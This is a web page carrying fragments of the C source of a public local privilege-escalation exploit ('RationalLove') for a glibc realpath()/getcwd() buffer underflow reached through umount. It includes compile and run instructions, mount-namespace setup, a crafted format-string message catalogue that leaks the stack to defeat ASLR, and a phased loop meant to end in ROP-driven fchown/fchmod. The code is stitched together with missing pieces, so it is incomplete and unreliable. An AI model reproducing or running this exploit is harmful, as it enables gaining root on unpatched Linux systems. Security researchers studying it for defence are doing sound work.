Share This

glibc getcwd() Local Privilege Escalation

/** This software is provided by the copyright owner "as is" and any * expressed or implied warranties, including, but not limited to, * the implied warranties of merchantability and fitness for a particular * purpose are disclaimed. In no event shall the copyright owner be * liable for any direct, indirect, incidential, special, exemplary or * consequential damages, including, but not limited to, procurement * of substitute goods or services, loss of use, data or profits or * business interruption, however caused and on any theory of liability, * whether in contract, strict liability, or tort, including negligence * or otherwise, arising in any way out of the use of this software, * even if advised of the possibility of such damage. * * Copyright (c) 2018 halfdog <me (%) halfdog.net> * See https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/ for more information. * * This tool exploits a buffer underflow in glibc realpath() * and was tested against latest release from Debian, Ubuntu * Mint. It is intended as demonstration of ASLR-aware exploitation * techniques. It uses relative binary offsets, that may be different * for various Linux distributions and builds. Please send me * a patch when you developed a new set of parameters to add * to the osSpecificExploitDataList structure and want to contribute * them. * * Compile: gcc -o RationalLove RationalLove.c * Run: ./RationalLove * * You may also use "--Pid" parameter, if you want to test the * program on already existing namespaced or chrooted mounts. */

/** Dump that number of bytes from stack to perform anti-ASLR. * This number should be high enough to reproducible reach the * stack region sprayed with (UMOUNT_ENV_VAR_COUNT*8) bytes of * environment variable references but low enough to avoid hitting * upper stack limit, which would cause a crash. */#define STACK_LONG_DUMP_BYTES 4096

/** Prepare a process living in an own mount namespace and setup * the mount structure appropriately. The process is created * in a way allowing cleanup at program end by just killing it, * thus removing the namespace. * @return the pid of that process or -1 on error. */pid_t prepareNamespacedProcess() { if(namespacedProcessPid==-1) { fprintf(stderr, "No pid supplied via command line, trying to create a namespace\nCAVEAT: /proc/sys/kernel/unprivileged_userns_clone must be 1 on systems with USERNS protection.\n");

// After setting the maps for the child process, the child may// start setting up the mount point. Wait for that to complete. sleep(1); fprintf(stderr, "Namespaced filesystem created with pid %d\n", namespacedProcessPid); }

// Write the initial message catalogue to trigger stack dumping// and to make the "umount" call privileged by toggling the "restricted"// flag in the context. result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES/util-linux.mo", namespaceMountBaseDir, osReleaseExploitData[2]); assert(result<PATH_MAX);

char *stackDumpStr=(char*)malloc(0x80+6*(STACK_LONG_DUMP_BYTES/8)); assert(stackDumpStr); char *stackDumpStrEnd=stackDumpStr; stackDumpStrEnd+=sprintf(stackDumpStrEnd, "AA%%%d$lnAAAAAA", ((int*)osReleaseExploitData[3])[ED_STACK_OFFSET_CTX]); for(int dumpCount=(STACK_LONG_DUMP_BYTES/8); dumpCount; dumpCount--) { memcpy(stackDumpStrEnd, "%016lx", 6); stackDumpStrEnd+=6; }// We wrote allready 8 bytes, write so many more to produce a// count of 'L' and write that to the stack. As all writes so// sum up to a count aligned by 8, and 'L'==0x4c, we will have// to write at least 4 bytes, which is longer than any "%hhx"// format string output. Hence do not care about the byte content// here. The target write address has a 16 byte alignment due// to varg structure. stackDumpStrEnd+=sprintf(stackDumpStrEnd, "%%1$%dhhx%%%d$hhn", ('L'-8-STACK_LONG_DUMP_BYTES*2)&0xff, STACK_LONG_DUMP_BYTES/16); *stackDumpStrEnd=0; result=writeMessageCatalogue(pathBuffer, (char*[]){ "%s: mountpoint not found", "%s: not mounted", "%s: target is busy\n (In some cases useful info about processes that\n use the device is found by lsof(8) or fuser(1).)" }, (char*[]){"1234", stackDumpStr, "5678"}, 3); assert(!result); free(stackDumpStr);

// Now learn about the binary, prepare data for second exploitation// phase. The phases should be:// * 0: umount executes, glibc underflows and causes an util-linux.mo// file to be read, that contains a poisonous format string.// Successful poisoning results in writing of 8*'A' preamble,// we are looking for to indicate end of this phase.// * 1: The poisoned process writes out stack content to defeat// ASLR. Reading all relevant stack end this phase.// * 2: The poisoned process changes the "LANGUAGE" parameter,// thus triggering re-read of util-linux.mo. To avoid races,// we let umount open a named pipe, thus blocking execution.// As soon as the pipe is ready for writing, we write a modified// version of util-linux.mo to another file because the pipe// cannot be used for sending the content.// * 3: We read umount output to avoid blocking the process and// wait for it to ROP execute fchown/fchmod and exit. while(1) { if(escalationPhase==2) {// We cannot use the standard poll from below to monitor the pipe,// but also we do not want to block forever. Wait for the pipe// in nonblocking mode and then continue with next phase. result=waitForTriggerPipeOpen(secondPhaseTriggerPipePathname); if(result) { goto attemptEscalationCleanup; } escalationPhase++; }

// All data read, use it to prepare the content for the next phase. fprintf(stderr, "Stack content received, calculating next phase\n");

int *exploitOffsets=(int*)osReleaseExploitData[3];

// This is the address, where source Pointer is pointing to. void *sourcePointerTarget=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARGV]];// This is the stack address source for the target pointer. void *sourcePointerLocation=sourcePointerTarget-0xd0;

attemptEscalationCleanup:// Wait some time to avoid killing umount even when exploit was// successful. sleep(1); close(childStdout);// It is safe to kill the child as we did not wait for it to finish// yet, so at least the zombie process is still here. kill(childPid, SIGKILL); pid_t waitedPid=waitpid(childPid, NULL, 0); assert(waitedPid==childPid);